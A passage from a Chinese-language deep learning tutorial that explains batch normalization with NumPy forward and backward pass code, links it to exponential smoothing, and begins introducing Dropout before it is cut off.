(D,)\n - bn_param: Dictionary with the following keys:\n - mode: 'train' or 'test'; required\n - eps: Constant for numeric stability\n - momentum: Constant for running mean / variance.\n - running_mean: Array of shape (D,) giving running mean of features\n - running_var Array of shape (D,) giving running variance of features\n\n Returns a tuple of:\n - out: of shape (N, D)\n - cache: A tuple of values needed in the backward pass\n \"\"\"\n mode = bn_param['mode']\n eps = bn_param.get('eps', 1e-5)\n momentum = bn_param.get('momentum', 0.9)\n\n N, D = x.shape\n running_mean = bn_param.get('running_mean', np.zeros(D, dtype=x.dtype))\n running_var = bn_param.get('running_var', np.zeros(D, dtype=x.dtype))\n\n out, cache = None, None\n if mode == 'train':\t\t# ่ฎญ็ปƒๆจกๅผ\n\t\tsample_mean = np.mean(x, axis=0)\t# ็Ÿฉ้˜ตxๆฏไธ€ๅˆ—็š„ๅนณๅ‡ๅ€ผ shaple: (D,)\n \tsample_var = np.var(x, axis=0)\t\t# ็Ÿฉ้˜ตxๆฏไธ€ๅˆ—็š„ๆ–นๅทฎ shape: (D,)\n \tx_hat = (x - sample_mean) / (np.sqrt(sample_var + eps))\n \tout = gamma * x_hat + beta\n \tcache = (x, sample_mean, sample_var, x_hat, eps, gamma, beta)\n running_mean = momentum * running_mean + (1 - momentum) * sample_mean\n running_var = momentum * running_var + (1 - momentum) * sample_var\n \n\telif mode == 'test':\t# ๆต‹่ฏ•ๆจกๅผ\n \tout = (x - running_mean) * gamma / (np.sqrt(running_var + eps)) + beta\n else:\n raise ValueError('Invalid forward batchnorm mode \"%s\"' % mode)\n\n # Store the updated running means back into bn_param\n bn_param['running_mean'] = running_mean\n bn_param['running_var'] = running_var\n \n return out, cache\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- `batchnorm_forward()` ๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅ็Ÿฉ้˜ตxๆ˜ฏ็บฟๆ€งๆจกๅž‹็š„็ฅž็ปๅ…ƒ็ป™ๅ‡บ็š„\"ๅพ—ๅˆ†\"๏ผŒshapeไธบ(N, D)๏ผŒNๆ˜ฏๆ ทๆœฌๅ›พ็‰‡็š„ไธชๆ•ฐ๏ผŒDๆ˜ฏไธ‹ไธ€ๅฑ‚็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐใ€‚ๅ‚ๆ•ฐ(gamma, beta)ๆ˜ฏๆˆ‘ไปฌๆ–ฐ็š„ๅพ…ไผ˜ๅŒ–ๅญฆไน ็š„ๅ‚ๆ•ฐ๏ผŒshape้ƒฝไธบ(D, )๏ผŒ่ฟ™ๆ ทไธ€ๆฅ๏ผŒๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœๆจกๅž‹ๅ‚ๆ•ฐๅขžๅŠ ๅˆฐๅ››ไธช(w, b, gamma, beta)ใ€‚\n- ่พ“ๅ…ฅ่ฟ›ๆฅ็š„ `bn_param` ๆ˜ฏBN็ฎ—ๆณ•็š„ๅ‚ๆ•ฐๅญ—ๅ…ธ๏ผŒๅ…ถไธญๅญ˜ๆœ‰ `eps` ๆ•ฐๅ€ผๅ˜้‡็ฒพๅบฆใ€‚ ๆ˜ฏไธบไบ†้ฟๅ…ๅˆ†ๆฏ้™คๆ•ฐไธบ0็š„ๆƒ…ๅ†ตๆ‰€ไฝฟ็”จ็š„ๅพฎๅฐๆญฃๆ•ฐใ€‚`mode` ๅญ˜ๅฅฝไบ†ๅฝ“ๅ‰็ฅž็ป็ฝ‘็ปœ็š„็Šถๆ€ใ€‚ๆˆ‘ไปฌๅœจไน‹ๅ‰็š„ๆ•…ไบ‹ไธญๆ‰€่ฐˆ่ฟ‡็š„ๆ•ฐๆฎๆญฃๅ‘ๆตๅŠจๅ’ŒๆŸๅคฑๅ‡ฝๆ•ฐๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญ้ƒฝๅทฒ็ป้ป˜่ฎคไบ†ๆ˜ฏ `train` ๆจกๅผ๏ผŒๅ› ไธบๆˆ‘ไปฌๆœ€็ปˆ็š„็›ฎๆ ‡ๆ˜ฏๅธŒๆœ›ๆ นๆฎๆ ทๆœฌๅ›พ็‰‡่ฎญ็ปƒๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœๆจกๅž‹(ไธญ็š„ๅ‚ๆ•ฐ)๏ผŒไฝฟๅพ—ๅฎƒ่ฟ›ๅ…ฅ `test` ๆจกๅผไธ‹ๆ—ถ๏ผŒ่พ“ๅ…ฅๆฒกๆœ‰ๆญฃ็กฎๆ ‡็ญพ็š„ๆ ทๆœฌๅ›พ็‰‡ๅฏไปฅ็ป™ๅ‡บๆญฃ็กฎ็š„ๆ ‡็ญพใ€‚ๅ‚ๆ•ฐๅญ—ๅ…ธไธญ `momentum` ๅ‚ๆ•ฐๆ˜ฏๆœ€ไผ˜ๅŒ–ไธญ็š„\"่ถ…ๅ‚ๆ•ฐ\"ๅธธๆ•ฐ๏ผŒๆˆ‘ไปฌไผšๅœจๆœ€ๅŽ่ฏดๆ˜Žๅ…ถไธญ็š„ๅ†…ๆถต๏ผŒๅœจ่ฟ™้‡Œๅช่ฆ็Ÿฅ้“ๅฎƒไผš้ป˜่ฎคๅ–ๅ€ผไธบ0.9ๅฐฑๅฅฝไบ†ใ€‚`running_mean, running_var` ๆ˜ฏBN็ฎ—ๆณ•ไธญ็š„๏ฝž๏ฝž ้ป˜่ฎคๅˆๅง‹ๅŒ–๏ฝž๏ฝž็ž…ไธ€็œผๆœ€ๅŽไธค่กŒ\n- ๅœจ `train` ่ฎญ็ปƒๆจกๅผไธ‹๏ผŒ`sample_mean` ๅ’Œ `sample_var` ๅˆ†ๅˆซๆ˜ฏๅฏนๅพ—ๅˆ†็Ÿฉ้˜ตx็š„ๆฏไธ€ๅˆ—็ฎ—ๅพ—ๅนณๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎๅ‘้‡๏ผŒshape้ƒฝไธบ(D, )ใ€‚่‹ฅ่ฟ™ๆ˜ฏ็ฌฌไธ€้š่—ๅฑ‚ไธญ็ฅž็ปๅ…ƒ็š„BNๅฑ‚๏ผŒ่ฟ™็›ธๅฝ“ไบŽๆ˜ฏๆŠŠๆฏๅผ ๆ ทๆœฌๅ›พๅƒๅฏนๅบ”ๅƒ็ด ็ปดๅบฆ็œ‹ไฝœ็ป“ๆž„ๅŒ–ๆ•ฐๆฎ็š„ไธ€ไธช\"็‰นๅพ\"(ๅ…ฑ3072ไธช)๏ผŒ็„ถๅŽ็ฎ—ๅ‡บๆ‰€ๆœ‰ๆ ทๆœฌๅ›พ็‰‡้‡Œๆฏไธชๅƒ็ด ็‰นๅพไธ‹็š„ๅนณๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎใ€‚\n- ๆŽฅไธ‹ๆฅๅฐฑๆ˜ฏ้‡็‚นไบ†๏ผŒๆˆ‘ไปฌ่ฆๆ“ไฝœ็š„ๆ•ฐๅญฆๅ…ฌๅผๆ˜ฏ่ฟ™ๆ ท็š„๏ผš\n\n![Batch Normalization, algorithm1](http://upload-images.jianshu.io/upload_images/2301760-bbbed97563402350.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nๅ‰ไธค่กŒๅ…ฌๅผๆˆ‘ไปฌๅทฒ็ป่ฐˆ่ฟ‡ไบ†๏ผŒๅฎƒไปฌๅˆ†ๅˆซๆ˜ฏ `sample_mean` ๅ’Œ `sample_var` ๆ‰€ๅฏนๅบ”ๅพ—ๅˆ†็Ÿฉ้˜ต็š„ๆฏไธ€ๅˆ—$x_i$็ฎ—ๅพ—ๅนณๅ‡ๅ€ผๅ‘้‡ๅ’Œๆ ‡ๅ‡†ๅทฎๅ‘้‡$(\\mu_{B},\\sigma^2_B)$ใ€‚็„ถๅŽ๏ผŒๆˆ‘ไปฌๅฐฑ่ฆๅˆฉ็”จ่ฟ™ไธคไธชไฟกๆฏ๏ผŒๅฏนๅพ—ๅˆ†็Ÿฉ้˜ต็š„ๆฏไธ€ๅˆ—$x_i$็‰นๅพๆ•ฐๆฎ่ฟ›่กŒ**โ€œๅฝ’ไธ€ๅŒ–โ€**๏ผŒๅณไฝฟๅพ—ๆฏไธ€็ปด็‰นๅพๅ‡ๅ€ผไธบ0๏ผŒๆ ‡ๅ‡†ๅทฎไธบ1๏ผŒๆœไปŽ**ๆ ‡ๅ‡†้ซ˜ๆ–ฏๅˆ†ๅธƒ**ใ€‚ๅˆๅ› ไธบๅฝ’ไธ€ๅŒ–ๆ˜ฏไธ€ไธช็ฎ€ๅ•ไธ”ๅฏๆฑ‚ๅฏผ็š„ๆ“ไฝœ๏ผŒๆ‰€ไปฅ่ฟ™ๆ˜ฏๅฏ่กŒ็š„ใ€‚ๆœ€ๅŽไธ€ๆญฅๆ›ดๅ…ณ้”ฎไบ†๏ผŒไธ€ๆ‹›ๆƒŠๅคฉๅœฐๆณฃ้ฌผ็ฅž็š„ๆ‹›ๅผ๏ผš**ๅ˜ๆข้‡ๆž„**๏ผŒๅผ•ๅ…ฅไบ†ๅฏๅญฆไน ๅ‚ๆ•ฐ$\\gamma, \\beta$๏ผŒ่ฎฉ่ฏฅๅฑ‚็ฅž็ปๅ…ƒๅฏไปฅๅญฆไน ๆขๅคๅ‡บๅŽŸๅง‹็ฅž็ป็ฝ‘็ปœๅœจ่ฏฅๅฑ‚ๆ‰€่ฆๅญฆไน ็š„็‰นๅพๅˆ†ๅธƒใ€‚\n\n- ๅœจไปฃ็ ไธญ๏ผŒ`x_hat = (x - sample_mean) / (np.sqrt(sample_var + eps))` ๅ’Œ ` out = gamma * x_hat + beta` ๏ผŒไปๅฏไปฅๆ˜Žๆ˜พ็š„็œ‹ๅˆฐBroadcastingๆœบๅˆถ็š„ๅบ”็”จใ€‚ๅ‚ๆ•ฐๅ‘้‡(gamma, beta) ้ƒฝ่ขซbroadcastingๆ‹‰ๆˆไธŽ็Ÿฉ้˜ตx็›ธๅŒshape(N, D)็š„็Ÿฉ้˜ต๏ผŒ็„ถๅŽๅœจๆฏไธ€ไธชๅฏนๅบ”ๅ…ƒ็ด ไธŠๅšๅฆ‚ๆ•ฐๅญฆๅ…ฌๅผๅŽไธค่กŒๆ‰€็คบ็š„่ฟ็ฎ—ใ€‚ๅœจๅ…ฌๅผไธญ `eps` ็š„ๅญ˜ๅœจๆ˜ฏๅฟ…่ฆ็š„๏ผŒๅ› ไธบๆ•ฐๆฎๆŸไธ€ๅˆ—็š„ๆ ‡ๅ‡†ๅทฎ `sample_var` ไธบ0ๆ˜ฏๅฏ่ƒฝ็š„๏ผŒๆฏ”ๅฆ‚ไป…ไธ€ๅผ ๅ›พ็‰‡ๆตๅ…ฅ็ฅž็ป็ฝ‘็ปœ็š„ๆ—ถๅ€™ใ€‚\n- ๅœจ `train` ๆจกๅผ้‡Œ๏ผŒ`running_mean, running_var` ็š„ไผšๅœจๆฏ็ป่ฟ‡ไธ€ไธชBNๅฑ‚่ฟ›่กŒไธ€ๆฌก่ฟญไปฃ่ฎก็ฎ—๏ฝžๅนถๅœจ็ฆปๅผ€ๆฏไธ€ไธชBNๅฑ‚ไน‹ๅ‰ไฟๅญ˜ๆ›ฟๆขๆŽ‰ๅŽŸBNๅ‚ๆ•ฐๅญ—ๅ…ธไธญ็š„ `running_mean, runing_var` ๅ€ผใ€‚ๅœจ่ฎญ็ปƒ็ป“ๆŸๅŽ๏ผŒ่ฟ™ไธคไธชๅ‚ๆ•ฐๅฐ†ไผš็”จไบŽ `test` ๆต‹่ฏ•ๆจกๅผไธ‹็š„ๆฏไธ€ไธชBNๅฑ‚ไธญใ€‚ๅ…ถๅฎžไฝ ่‹ฅ็•™ๆ„่‹ฑๆ–‡ๆณจ้‡Š็š„่ฏ๏ผŒๅฐฑไผšๆ˜Ž็™ฝไธŠ้ขไปฃ็ ไธญ็š„ๆ“ไฝœๅนถไธๆ˜ฏBN็ฎ—ๆณ•็š„ไฝœ่€…ๅŽŸๅง‹็š„ๅค„็†ๆ–นๅผ๏ผŒๅ…ถๆœฌๆ„ๆ˜ฏ็”ฑไบŽ็ฅž็ป็ฝ‘็ปœไธ€ๆ—ฆ่ฎญ็ปƒๅฎŒๆฏ•๏ผŒๅ‚ๆ•ฐ้ƒฝไผšๅŸบๆœฌๅ›บๅฎšไธ‹ๆฅ๏ผŒ่ฟ™ไธชๆ—ถๅ€™ๅณไฝฟๆ˜ฏๆฏๆ‰นๆ ทๆœฌๅ›พ็‰‡ๅ†่ฟ›ๅ…ฅๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœ๏ผŒ้‚ฃไนˆBNๅฑ‚่ฎก็ฎ—็š„ๅนณๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎ้ƒฝๆ˜ฏๅ›บๅฎšไธๅ˜็š„๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅฏไปฅ้‡‡็”จ่ฟ™ไบ›ๆ•ฐๅ€ผๆฅไฝœไธบๆต‹่ฏ•ๆ ทๆœฌๆ‰€้œ€่ฆ็š„ๅ‡ๅ€ผใ€ๆ ‡ๅ‡†ๅทฎใ€‚็„ถ่€Œ๏ผŒๆˆ‘ไปฌไธŠ่ฟฐไปฃ็ ไธญๆ‰€้‡‡็”จ็š„ไผฐ่ฎกๆ•ดไธช่ฎญ็ปƒ้›†็š„ๆ–นๆณ•๏ผŒไผš้ซ˜ๆ•ˆ็ฎ€ๆดๅพ—ๅคš๏ผŒไธฅๆ ผๅœฐ่ฏด๏ผŒ่ฟ™ๅซ**ไธ€ๆฌกๆŒ‡ๆ•ฐๅนณๆป‘ๆณ•(Single exponential smoothing)**๏ผš\n\n> ๅœจๅธ‚ๅœบ้ข„ๆต‹ไธญ๏ผŒไธ€ๆฌกๆŒ‡ๆ•ฐๅนณๆป‘ๆณ•ๆ˜ฏๆ นๆฎๅ‰ๆœŸ็š„ๅฎžๆต‹ๆ•ฐๅ’Œ้ข„ๆต‹ๆ•ฐ๏ผŒไปฅๅŠ ๆƒๅ› ๅญไธบๆƒๆ•ฐ๏ผŒ่ฟ›่กŒๅŠ ๆƒๅนณๅ‡๏ผŒๆฅ้ข„ๆต‹ๆœชๆฅๆ—ถ้—ด่ถ‹ๅŠฟ็š„ๆ–นๆณ•ใ€‚\n>\n> ่ฏฆๆƒ…ๅฏๆŸฅ็œ‹่ฟ™ไธคไธช่ต„ๆ–™๏ผš[MBAlib๏ผšไธ€ๆฌกๆŒ‡ๆ•ฐๅนณๆป‘ๆณ•](http://wiki.mbalib.com/wiki/ไธ€ๆฌกๆŒ‡ๆ•ฐๅนณๆป‘ๆณ•) and [Wiki: Exponential smoothing](https://en.wikipedia.org/wiki/Exponential_smoothing)\n>\n> ไปŽไธŠ่ฟฐ่ต„ๆ–™ไธญ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅ็Ÿฅๆ™“๏ผšๅ‚ๆ•ฐmomentumๅฏนๅบ”ไบŽๅนณๆป‘็ณปๆ•ฐ๏ผŒๆˆ–่€…ๅซๅŠ ๆƒๅ› ๅญใ€‚ๅ…ถๅ€ผๅคงๅฐ็š„ๅ–ๅฎšๆ˜ฏ่ฆ่€ƒ่™‘ๅˆฐๆฏไธ€ๆฌกBNๅฑ‚็ฎ—ๅพ—็š„ๅนณๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎ็š„ๅ˜ๅŒ–็‰นๆ€งๆ‰€ๅ†ณๅฎš็š„๏ผŒ็ฎ—ๆ˜ฏไธ€ไธช็ป้ชŒ่ถ…ๅ‚ๆ•ฐ๏ผšๅœจๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœไธญ๏ผŒ่‹ฅๆฏๅฑ‚ๆฏๆฌก็ฎ—ๅพ—ๆณขๅŠจไธๅคง๏ผŒๆฏ”่พƒๅนณ็จณ๏ผŒๅˆ™ๅ‚ๆ•ฐmomentumๅฏๅ–0.7๏ฝž0.9๏ผ›่‹ฅๅ…ทๆœ‰่ฟ…้€Ÿไธ”ๆ˜Žๆ˜พ็š„ๅ˜ๅŠจๅ€พๅ‘๏ผŒๅˆ™ๅบ”ๅ–ไธบ0.1๏ฝž0.4ใ€‚\n>\n> ๅ…ณไบŽไธ€ๆฌกๆŒ‡ๆ•ฐๅนณๆป‘ๆณ•็š„ๅˆๅ€ผๅ–ๆณ•ไนŸๆ˜ฏๆœ‰่ฎฒ็ฉถ็š„ใ€‚ๅฏไปฅ็œ‹ๅˆฐๆˆ‘ไปฌไธŠ้ข็š„ไปฃ็ ๅฐฑๆ˜ฏๅ–็ฌฌไธ€ๆฌก็ฎ—ๅพ—็š„ๅนณๅ‡ๅ€ผๆˆ–ๆ ‡ๅ‡†ๅทฎๆฅไฝœไธบๅˆๅง‹้ป˜่ฎคๅ€ผ็š„ใ€‚\n\n\n\n\n\n้‚ฃไนˆ๏ผŒๆธ…ๆฅšไบ†็ฅž็ปๅ…ƒๅฑ‚ไธญ `batchnorm_forward()` ๅ‡ฝๆ•ฐๅนฒ็š„ๆดป๏ผŒๅฐฑๅฏไปฅๅพˆ่ฝปๆพ็š„ๆ”นๅ†™ๅŽŸไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌๅœจๆญฃๅ‘ไผ ๆ’ญไธญ็š„ `affine_relu_forward()` ๅ‡ฝๆ•ฐไธบๅซๆœ‰Batch Normalizationๅฑ‚็š„ `affine_bn_relu_forward(x, w, b, gamma, beta, bn_param) = (out, cache)` ๅ‡ฝๆ•ฐ๏ผš\n\n```python\ndef affine_bn_relu_forward(x, w, b, gamma, beta, bn_param):\n \"\"\"\n Inputs:\n - x: Array of shape (N, D1); input to the affine layer\n - w, b: Arrays of shape (D2, D2) and (D2,) giving the weight and bias for\n the affine transform.\n - gamma, beta: Arrays of shape (D2,) and (D2,) giving scale and shift\n parameters for batch normalization.\n - bn_param: Dictionary of parameters for batch normalization.\n Returns:\n - out: Output from ReLU, of shape (N, D2)\n - cache: Object to give to the backward pass.\n \"\"\"\n a, fc_cache = affine_forward(x, w, b)\n a_bn, bn_cache = batchnorm_forward(a, gamma, beta, bn_param) # BNๅฑ‚\n out, relu_cache = relu_forward(a_bn)\t# ReLUๅฑ‚\n cache = (fc_cache, bn_cache, relu_cache)\n return out, cache\n```\n\nๆ˜พ็„ถๅœจๅๅ‘ไผ ๆ’ญไธญ๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆไนŸ้œ€่ฆๆทปๅŠ ไธ€ๆญฅBatch Normalization็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผš\n\n![Backpropagate the gradient of loss โ„“](http://upload-images.jianshu.io/upload_images/2301760-925f85e899bfd47a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nๅ…ถไธญๆ•ฐๅญฆๅ…ฌๅผๆœ‰็‚นๅคๆ‚๏ผŒ่ฏๆ˜Žๅฏ่ง่ฟ™้‡Œใ€‚\n\n็œ‹่งๅฐฑๆƒณๅๅฐฑไธ่ฆ็œ‹ไบ†๏ผŒ่ฟ˜ๆ˜ฏ็›ดๆŽฅ้ฃžไปฃ็ ๆ‰่ƒฝๆธ…ๆ™ฐๆˆ‘ไปฌ็š„ๆ€่ทฏ๏ผŒ่ฆ็†ๆธ…ๆฅšๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆ•ฐๆฎๆขฏๅบฆๆ˜ฏๅฆ‚ไฝ•็ป่ฟ‡่ฟ™ไธ€ๅฑ‚็š„ๅฐฑๅฅฝ๏ผš\n\n```python\ndef batchnorm_backward(dout, cache):\n \"\"\"\n Inputs:\n - dout: Upstream derivatives, of shape (N, D)\n - cache: Variable of intermediates from batchnorm_forward.\n Returns a tuple of:\n - dx: Gradient with respect to inputs x, of shape (N, D)\n - dgamma: Gradient with respect to scale parameter gamma, of shape (D,)\n - dbeta: Gradient with respect to shift parameter beta, of shape (D,)\n \"\"\"\n x, mean, var, x_hat, eps, gamma, beta = cache\n N = x.shape[0]\n dgamma = np.sum(dout * x_hat, axis=0)\t# ็ฌฌ5่กŒๅ…ฌๅผ\n dbeta = np.sum(dout * 1.0, axis=0)\t\t# ็ฌฌ6่กŒๅ…ฌๅผ\n dx_hat = dout * gamma\t\t\t\t\t# ็ฌฌ1่กŒๅ…ฌๅผ\n dx_hat_numerator = dx_hat / np.sqrt(var + eps)\t\t# ็ฌฌ3่กŒ็ฌฌ1้กน(ๆœช่ดŸๆฑ‚ๅ’Œ)\n dx_hat_denominator = np.sum(dx_hat * (x - mean), axis=0)\t# ็ฌฌ2่กŒๅ‰ๅŠ้ƒจๅˆ†\n dx_1 = dx_hat_numerator\t\t\t\t\t# ็ฌฌ4่กŒ็ฌฌ1้กน\n dvar = -0.5 * ((var + eps) ** (-1.5)) * dx_hat_denominator\t# ็ฌฌ2่กŒๅ…ฌๅผ\n # Note var is also a function of mean\n dmean = -1.0 * np.sum(dx_hat_numerator, axis=0) + \\\n dvar * np.mean(-2.0 * (x - mean), axis=0) # ็ฌฌ3่กŒๅ…ฌๅผ(้ƒจๅˆ†)\n dx_var = dvar * 2.0 / N * (x - mean) \t# ็ฌฌ4่กŒ็ฌฌ2้กน\n dx_mean = dmean * 1.0 / N \t\t\t\t# ็ฌฌ4่กŒ็ฌฌ3้กน\n # with shape (D,), no trouble with broadcast\n dx = dx_1 + dx_var + dx_mean\t\t\t# ็ฌฌ4่กŒๅ…ฌๅผ\n\n return dx, dgamma, dbeta\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ไปฃ็ ไธญๅทฒ็ป็ป™ๅ‡บไบ†่ฏฆ็ป†็š„ไธŽๆ•ฐๅญฆๅ…ฌๅผๅฏนๅบ”็š„ๆณจ้‡Šใ€‚\n- ๆๅ‰ๆไธช้†’๏ผŒๅœจ `test` ๆจกๅผไธ‹๏ผŒๆˆ‘ไปฌๅนถไธ้œ€่ฆๆœ‰ๅๅ‘ไผ ๆ’ญ่ฟ™ไธ€ๆญฅ้ชค๏ผŒๅช้œ€่ฆๆ ทๆœฌๅ›พ็‰‡ๆ•ฐๆฎ็ป่ฟ‡็ฅž็ป็ฝ‘็ปœๅŽ๏ผŒๅœจ่พ“ๅ‡บๅฑ‚็ป™ๅ‡บ็š„ๅพ—ๅˆ†ๅณๅฏใ€‚\n\nๅŒๆ ทๅœฐ๏ผŒๆˆ‘ไปฌๅฏไปฅๆ”นๅ†™ๅŽŸไธ€ๅฑ‚็ฅž็ปๅ…ƒไปฌๅœจๅๅ‘ไผ ๆ’ญไธญ็š„ `affine_relu_backward()` ๅ‡ฝๆ•ฐไธบๅซๆœ‰Batch Normalizationๅฑ‚็š„ `affine_bn_relu_backward(dout, cache) = (dx, dw, db, dgamma, dbeta)` ๅ‡ฝๆ•ฐ๏ผš\n\n```python\ndef affine_bn_relu_backward(dout, cache):\n \"\"\"\n Backward pass for the affine-batchnorm-relu convenience layer.\n \"\"\"\n fc_cache, bn_cache, relu_cache = cache\n da_bn = relu_backward(dout, relu_cache)\t\t# ReLUๅฑ‚\n da, dgamma, dbeta = batchnorm_backward(da_bn, bn_cache) # BNๅฑ‚\n dx, dw, db = affine_backward(da, fc_cache)\t\n return dx, dw, db, dgamma, dbeta\n```\n\n\n\n**ๅฐๆณจ๏ผš**\n\nๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผˆBatch Normalization๏ผ‰็ฎ—ๆณ•ๅœจ2015ๅนด่ขซๆๅ‡บๆฅ๏ผˆ[ๅŽŸ่ฎบๆ–‡](http://arxiv.org/abs/1502.03167)๏ผ‰๏ผŒ่ฟ™ไธชๆ–นๆณ•ๅฏไปฅ่ฟ›ไธ€ๆญฅๅŠ ้€Ÿๆ”ถๆ•›๏ผŒๅ› ๆญคๅญฆไน ็Ž‡(ๅŽๆ–‡ไผšๆๅˆฐ)ๅฏไปฅ้€‚ๅฝ“ๅขžๅคง๏ผŒๅŠ ๅฟซ่ฎญ็ปƒ้€Ÿๅบฆ๏ผ›่ฟ‡ๆ‹Ÿๅˆ็Žฐ่ฑกๅฏไปฅๅพ—ๅˆฐไธ€ๅฎš็จ‹ๅบฆ็š„็ผ“่งฃ๏ผŒๆ‰€ไปฅๅฏไปฅไธ็”จDropout(ๅŽๆ–‡ไผšๆๅˆฐ)ๆˆ–็”จ่พƒไฝŽ็š„Dropout๏ผŒ่€Œไธ”ๅฏไปฅๅ‡ๅฐL2ๆญฃๅˆ™ๅŒ–็ณปๆ•ฐ๏ผŒ่ฎญ็ปƒ้€Ÿๅบฆๅˆๅ†ไธ€ๆฌกๅพ—ๅˆฐไบ†ๆๅ‡๏ผŒๅณBatch Normalizationๅฏไปฅ้™ไฝŽๆˆ‘ไปฌๅฏนๆญฃๅˆ™ๅŒ–็š„ไพ่ต–็จ‹ๅบฆใ€‚\n\n<u>็Žฐๅฆ‚ไปŠ๏ผŒๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœๅŸบๆœฌ้ƒฝไผš็”จๅˆฐBatch Normalizationใ€‚</u>\n\nๅฏไปฅ้˜…่ฏปๅŽŸ่ฎบๆ–‡ไบ†่งฃ่ฏฆ็ป†็ป†่Š‚๏ผŒไนŸๅฏไปฅๅ‚่€ƒไปฅไธ‹ๅšๆ–‡๏ผš\n\n- [Batch Normalization ๅญฆไน ็ฌ”่ฎฐ](http://blog.csdn.net/hjimce/article/details/50866313)\n- [่งฃ่ฏปBatch Normalization](http://blog.csdn.net/shuzfan/article/details/50723877)\n- [ใ€ŠBatch Normalization Accelerating Deep Network Training by Reducing Internal Covariate Shiftใ€‹้˜…่ฏป็ฌ”่ฎฐไธŽๅฎž็Žฐ](http://blog.csdn.net/happynear/article/details/44238541)\n- [ๆทฑๅบฆๅญฆไน ไธญ Batch Normalizationไธบไป€ไนˆๆ•ˆๆžœๅฅฝ๏ผŸ](https://www.zhihu.com/question/38102762)\n\n\n\n\n\n\n\n### ๅฐฑๆ˜ฏ่ฟ™ไนˆไปปๆ€ง๏ผโ€”โ€”Dropout\n\n\n\nๆ•…ไบ‹ๅฌๅˆฐ่ฟ™้‡Œไบ†๏ผŒๆƒณๅฟ…ไฝ ไนŸๅทฒ็ป่ƒฝๆ„Ÿ่ง‰ๅˆฐ๏ผŒๆƒณ่ฆ่ฎฉๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœๆ้ซ˜ๅฏนๆ ทๆœฌๅ›พ็‰‡็š„ๅˆ†็ฑป่ƒฝๅŠ›๏ผŒๆœ€็›ดๆŽฅ็ฒ—ๆšด็š„ๅŠžๆณ•ๅฐฑๆ˜ฏไฝฟ็”จๆ›ดๆทฑ็š„็ฝ‘็ปœๅ’Œๆ›ดๅคš็š„็ฅž็ปๅ…ƒ๏ผŒๅณๆ‰€่ฐ“**deeper and wider**ใ€‚็„ถ่€Œ๏ผŒ่ถŠๅคๆ‚็š„็ฝ‘็ปœไผšๆ›ดๅŠ ๅฎนๆ˜“่ฟ‡ๆ‹Ÿๅˆ๏ผŒไบŽๆ˜ฏ๏ผŒๆˆ‘ไปฌๅฏไปฅ่ฎฉ้š่—ๅฑ‚็š„็ฅž็ปๅ…ƒไปฌไนŸๅฏไปฅไปปๆ€งไธ€ไธ‹๏ผŒไธ่ฆๅคชๅ–ๅŠ›็š„ๅทฅไฝœ๏ผŒๅถๅฐ”ๆ”พไธชๅ‡ไผ‘ๆฏไธ‹๏ผŒ่ฟ™็ง\"ๅŠณ้€ธ็ป“ๅˆ\"็š„็ฎก็†ๆ–นๅผๅฐฑๆ˜ฏๆ‰€่ฐ“็š„**Dropout๏ผˆ้šๆœบๅคฑๆดป๏ผ‰**๏ผŒๅคง้ƒจๅˆ†ๅฎž้ชŒ่กจๆ˜Žๅ…ถๅ…ทๆœ‰ไธ€ๅฎš็š„้˜ฒๆญข่ฟ‡ๆ‹Ÿๅˆ็š„่ƒฝๅŠ›ใ€‚\n\nๆฅ็œ‹ๅ›พ็†่งฃไธ€ไธ‹่ฟ™็งไปปๆ€ง็š„็ฎก็†ๆ–นๅผ๏ผš\n\n---\n\n![](https://sungjk.github.io/images/2017/04/26/dropout.png)\n\nๅทฆๅ›พๆ˜ฏๆ ‡ๅ‡†็š„ๅ…จ่ฟžๆŽฅ็ฅž็ปๅ…ƒ็ฝ‘็ปœใ€‚ๆˆ‘ไปฌ็š„็ฎก็†ๆ–นๅผๅพˆ็ฎ€ๅ•๏ผšๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™๏ผŒ่ฎฉ็ฅž็ปๅ…ƒไปฅ่ถ…ๅ‚ๆ•ฐp็š„ๆฆ‚็Ž‡่ขซๆฟ€ๆดปๆˆ–่€…่ขซ่ฎพ็ฝฎไธบ0ใ€‚ๅณๅ›พๅฐฑๆ˜ฏๅบ”็”จdropout็š„ๆ•ˆๆžœใ€‚\n\n---\n\n่ฎญ็ปƒ่ฟ‡็จ‹ไธญ๏ผŒdropoutๅฏไปฅ่ขซ่ฎคไธบๆ˜ฏๅฏนๅฎŒๆ•ด็š„็ฅž็ป็ฝ‘็ปœๆŠฝๆ ทๅ‡บไธ€ไบ›ๅญ้›†๏ผŒๆฏๆฌกๅŸบไบŽๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„่พ“ๅ‡บๆ•ฐๆฎๅชๆ›ดๆ–ฐๅญ็ฝ‘็ปœ็š„ๅ‚ๆ•ฐ๏ผˆ็„ถ่€Œ๏ผŒๆ•ฐ้‡ๅทจๅคง็š„ๅญ็ฝ‘็ปœไปฌๅนถไธๆ˜ฏ็›ธไบ’็‹ฌ็ซ‹็š„๏ผŒๅ› 